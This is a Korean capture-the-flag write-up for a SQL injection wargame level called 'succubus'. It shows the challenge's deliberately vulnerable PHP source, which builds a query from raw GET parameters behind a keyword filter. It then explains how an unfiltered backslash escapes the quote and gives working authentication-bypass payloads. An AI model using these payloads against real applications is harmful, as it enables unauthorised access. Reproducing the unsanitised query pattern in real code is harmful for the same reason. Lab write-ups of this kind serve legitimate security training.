<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[id])) exit("HeHe");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
소스코드 분석
싱글쿼터가 막혀있다.. 대략 난감하다.. 하지만 여기서 취약점은 이스케이핑 문자 (\)가 막혀 있지 않다.
하지만 무턱대고 \' 같은 것을 하게 되면 싱글쿼터를 서버 단에서 탐지하게 된다. 즉 서버단에서 \'는 싱글쿼터를 이스케이핑 해주지 않고 문자열로 받아들여 걸르게 된다. 하지만 이 이스케이핑 문자는 데이터베이스에서는 정상적으로 탐지한다.
풀이
데이터 베이스 쿼리에서는 이스케이핑 문자를 정삭적으로 처리해주기 때문에 이를 이용하여 쿼리문을 조작하면 된다.
select id from prob_succubus where id ='id' and pw='pw'
로 되어 있다.
id ='\' and pw='pw'
다음과 같이 주게 될 경우
id =' and pw='pw'
다음과 같이 인식하게 된다.
즉 id=' and pw=' id 안에 and pw=라는 문자열이 들어간 것 처럼 인식된다./
따라서
페이로드는
\' and pw='||1#
또는
\' and pw='||id in ("admin")# 다음과 같이 주면 된다.